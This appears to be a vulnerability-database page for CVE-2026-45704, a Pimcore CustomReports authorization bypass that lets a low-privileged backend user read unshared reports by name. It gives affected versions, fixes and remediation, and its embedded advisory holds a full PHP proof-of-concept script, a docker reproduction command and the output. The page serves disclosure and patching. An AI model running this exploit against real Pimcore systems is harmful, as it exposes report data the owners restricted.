CVE-2026-45704: Pimcore/pimcore Pimcore Has A CustomReports Share Vulnerability
HIGHCVE-2026-45704 is a HIGH pimcore has a customreports share vulnerability (CWE-863: Incorrect Authorization) affecting Pimcore/pimcore libraries in the Packagist ecosystem. The issue involves pimcore has a customreports share bypass. Remediation is available by upgrading affected packages to version 12.3.6, 11.5.17, 2026.1.2.
CVE-2026-45704 at a Glance
How to Fix CVE-2026-45704
To remediate this vulnerability, upgrade all affected Pimcore/pimcore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade pimcore/pimcore to 12.3.6
Upgrade pimcore/pimcore to 11.5.17
Upgrade pimcore/pimcore to 2026.1.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for pimcore/pimcore
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-45704, inspect your project dependencies for Pimcore/pimcore:
inspect dependencies for pimcore/pimcore
Analyze the terminal output to locate any version of Pimcore/pimcore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Pimcore/pimcore, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45704 Affected Pimcore/pimcore Versions
3 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pimcore/pimcore
|
Packagist |
≥ 12.0.0-RC1
< 12.3.6
|
12.3.6
|
|
pimcore/pimcore
|
Packagist |
< 11.5.17
|
11.5.17
|
|
pimcore/pimcore
|
Packagist |
≥ 2026.1.0
< 2026.1.2
|
2026.1.2
|
References
Frequently Asked Questions
What is CVE-2026-45704?
Which Pimcore/pimcore versions are affected?
What version fixes CVE-2026-45704?
Is pimcore/pimcore affected?
What CWE is associated with CVE-2026-45704?
How can I check Packagist dependencies for CVE-2026-45704?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jwcc-gv4m-93x6",
"modified" : "2026-07-10T19:07:34Z",
"published" : "2026-05-27T22:34:01Z",
"aliases" : [ "CVE-2026-45704" ],
"summary" : "Pimcore has a CustomReports Share Bypass",
"details" : "### Summary\n\n`CustomReports` uses inconsistent authorization between the report listing endpoint and the report detail endpoint.\n\n- The listing flow filters reports based on report-sharing rules\n- The detail flow only checks generic `reports` or `reports_config` permissions\n\nAs a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.\n\nIn the local Docker reproduction:\n\n- The report `poc-secret-report` was not visible to the low-privileged user in the report list\n- The same user was still able to retrieve the report configuration directly by name\n\n### Root Cause\n\nThe listing flow in `getReportConfigAction()` filters reports through `loadForGivenUser()`:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)#L245)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)\n- [[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)#L44)\n- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)\n\nHowever, `getAction()` only checks generic permissions and then loads the report directly by name:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)#L146)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)#L149)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)\n\nThis means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic \"not visible in list, but readable by direct request\" access-control bypass.\n\n### Impact\n\nAn attacker can read sensitive report metadata without authorization, including:\n\n- Report name\n- Grouping information\n- Display and icon metadata\n- Data source configuration\n- Column configuration\n- Sharing settings\n\nFrom the source code, other report endpoints such as `data`, `chart`, `create-csv`, and `download-csv` also resolve reports by name in a similar way:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)#L275)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)\n\nThis report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.\n\n### Preconditions\n\n- The attacker is an authenticated backend user\n- The attacker has the `reports` permission\n- The target report is not globally shared and is not shared with that user or the user's roles\n\n### PoC\n\n```php\n<?php\ndeclare(strict_types=1);\n\nuse Pimcore\\Bundle\\CustomReportsBundle\\Controller\\Reports\\CustomReportController;\nuse Pimcore\\Controller\\UserAwareController;\nuse Pimcore\\Model\\User;\nuse Pimcore\\Model\\Tool\\SettingsStore;\nuse Pimcore\\Security\\User\\TokenStorageUserResolver;\nuse Pimcore\\Security\\User\\User as SecurityUser;\nuse Pimcore\\Serializer\\Serializer as PimcoreSerializer;\nuse Pimcore\\Tool\\Authentication;\nuse Symfony\\Component\\DependencyInjection\\ContainerInterface;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\RequestStack;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorage;\n\nrequire dirname(__DIR__) . '/vendor/autoload.php';\n\ndefine('PIMCORE_PROJECT_ROOT', dirname(__DIR__));\n\ntry {\n \\Pimcore\\Bootstrap::bootstrap();\n\n $kernel = new \\App\\Kernel('dev', true);\n \\Pimcore::setKernel($kernel);\n $kernel->boot();\n\n $container = $kernel->getContainer();\n\n /** @var RequestStack $requestStack */\n $requestStack = getService($container, [\n RequestStack::class,\n 'request_stack',\n ]);\n\n $admin = User::getByName('admin');\n if (!$admin instanceof User) {\n fail('admin user is missing');\n }\n\n $auditor = User::getByName('auditor_customreports');\n if (!$auditor instanceof User) {\n $auditor = new User();\n $auditor->setParentId(0);\n $auditor->setName('auditor_customreports');\n }\n\n $auditor->setAdmin(false);\n $auditor->setActive(true);\n $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));\n $auditor->setPermissions(['reports']);\n $auditor->setRoles([]);\n $auditor->save();\n\n $timestamp = time();\n SettingsStore::set(\n 'poc-secret-report',\n json_encode([\n 'name' => 'poc-secret-report',\n 'niceName' => 'PoC Secret Report',\n 'group' => 'Audit',\n 'dataSourceConfig' => [['type' => 'sql']],\n 'columnConfiguration' => [],\n 'shareGlobally' => false,\n 'sharedUserNames' => ['admin'],\n 'sharedRoleNames' => [],\n 'menuShortcut' => true,\n 'creationDate' => $timestamp,\n 'modificationDate' => $timestamp,\n ], JSON_THROW_ON_ERROR),\n SettingsStore::TYPE_STRING,\n 'pimcore_custom_reports'\n );\n\n $tokenResolver = buildTokenResolver($auditor);\n $controller = wireController(new CustomReportController(), $container, $tokenResolver);\n\n $listRequest = new Request();\n $requestStack->push($listRequest);\n $listResponse = $controller->getReportConfigAction($listRequest);\n $requestStack->pop();\n $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);\n\n $getRequest = new Request(['name' => 'poc-secret-report']);\n $requestStack->push($getRequest);\n $getResponse = $controller->getAction($getRequest);\n $requestStack->pop();\n $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);\n\n $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);\n\n echo json_encode([\n 'vulnerability' => 'customreports_share_bypass',\n 'user' => [\n 'id' => $auditor->getId(),\n 'name' => $auditor->getName(),\n 'permissions' => $auditor->getPermissions(),\n ],\n 'target_report' => [\n 'name' => 'poc-secret-report',\n 'shared_to' => ['admin'],\n 'share_globally' => false,\n ],\n 'result' => [\n 'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),\n 'listed_report_names' => $listedNames,\n 'direct_get_returned_name' => $getData['name'] ?? null,\n 'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,\n ],\n ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;\n} catch (Throwable $e) {\n fail(sprintf(\n '%s: %s in %s:%d%s',\n $e::class,\n $e->getMessage(),\n $e->getFile(),\n $e->getLine(),\n $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''\n ));\n}\n\nfunction wireController(\n UserAwareController $controller,\n ContainerInterface $container,\n TokenStorageUserResolver $tokenResolver\n): UserAwareController\n{\n $controller->setContainer($container);\n $controller->setTokenResolver($tokenResolver);\n\n if (method_exists($controller, 'setPimcoreSerializer')) {\n /** @var PimcoreSerializer $serializer */\n $serializer = getService($container, [\n PimcoreSerializer::class,\n 'Pimcore\\\\Serializer\\\\Serializer',\n ]);\n $controller->setPimcoreSerializer($serializer);\n }\n\n return $controller;\n}\n\nfunction buildTokenResolver(User $user): TokenStorageUserResolver\n{\n $tokenStorage = new TokenStorage();\n $proxyUser = new SecurityUser($user);\n $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());\n $tokenStorage->setToken($token);\n\n return new TokenStorageUserResolver($tokenStorage);\n}\n\nfunction getService(ContainerInterface $container, array $ids): mixed\n{\n foreach ($ids as $id) {\n try {\n if ($container->has($id)) {\n return $container->get($id);\n }\n } catch (Throwable) {\n }\n }\n\n fail('Unable to resolve service: ' . implode(', ', $ids));\n}\n\nfunction fail(string $message): never\n{\n fwrite(STDERR, $message . PHP_EOL);\n exit(1);\n}\n\n```\n\n\n\n### Reproduction Steps\n\n1. Create a low-privileged user named `auditor_customreports` with the `reports` permission.\n2. Create a report named `poc-secret-report` with:\n - `shareGlobally = false`\n - `sharedUserNames = ['admin']`\n3. As `auditor_customreports`, request the visible report list and verify that `poc-secret-report` is absent.\n4. As the same user, call `getAction(name=poc-secret-report)` directly.\n5. Verify that the response still contains the report configuration.\n\nReproduction command:\n\n```bash\ncd pimcore-12.3.3-repro\ndocker compose exec -T php php poc_customreports.php\n```\n\n### Reproduction Result\n\nRelevant PoC output:\n\n```json\n{\n \"vulnerability\": \"customreports_share_bypass\",\n \"user\": {\n \"name\": \"auditor_customreports\",\n \"permissions\": [\n \"reports\"\n ]\n },\n \"target_report\": {\n \"name\": \"poc-secret-report\",\n \"shared_to\": [\n \"admin\"\n ],\n \"share_globally\": false\n },\n \"result\": {\n \"report_visible_in_list\": false,\n \"listed_report_names\": [],\n \"direct_get_returned_name\": \"poc-secret-report\",\n \"direct_get_shared_user_names\": [\n \"admin\"\n ]\n }\n}\n```\n\nThis shows that:\n\n- The current user cannot see the report in the visible report list\n- The same user can still retrieve the report configuration directly\n\nThis confirms that the share-bypass issue is practically exploitable.\n\n### Security Impact\n\n- Unauthorized disclosure of report configuration\n- Disclosure of sharing scope and internal report structure\n- Potential leakage of data-source and query organization details\n- Useful reconnaissance for follow-on unauthorized execution or export paths\n\n### Remediation\n\n1. Add object-level sharing checks to `getAction()` equivalent to `loadForGivenUser()`.\n2. Centralize authorization into a single \"can current user access this report?\" function reused by `get`, `data`, `chart`, `create-csv`, and `download-csv`.\n3. Return `403` for unshared reports.\n4. Add regression tests to ensure that users with `reports` permission but without report-sharing access cannot retrieve report details.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "pimcore/pimcore"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "12.0.0-RC1"
}, {
"fixed" : "12.3.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 12.3.5"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "pimcore/pimcore"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "11.5.17"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 11.5.16"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "pimcore/pimcore"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2026.1.0"
}, {
"fixed" : "2026.1.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pimcore/pimcore/security/advisories/GHSA-jwcc-gv4m-93x6"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/pimcore/pull/19099"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/pimcore/commit/1893ff1cd116e442b995ddf17e8c6e0aa372268e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pimcore/pimcore"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/pimcore/releases/tag/v12.3.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-863" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-27T22:34:01Z",
"nvd_published_at" : null
}
}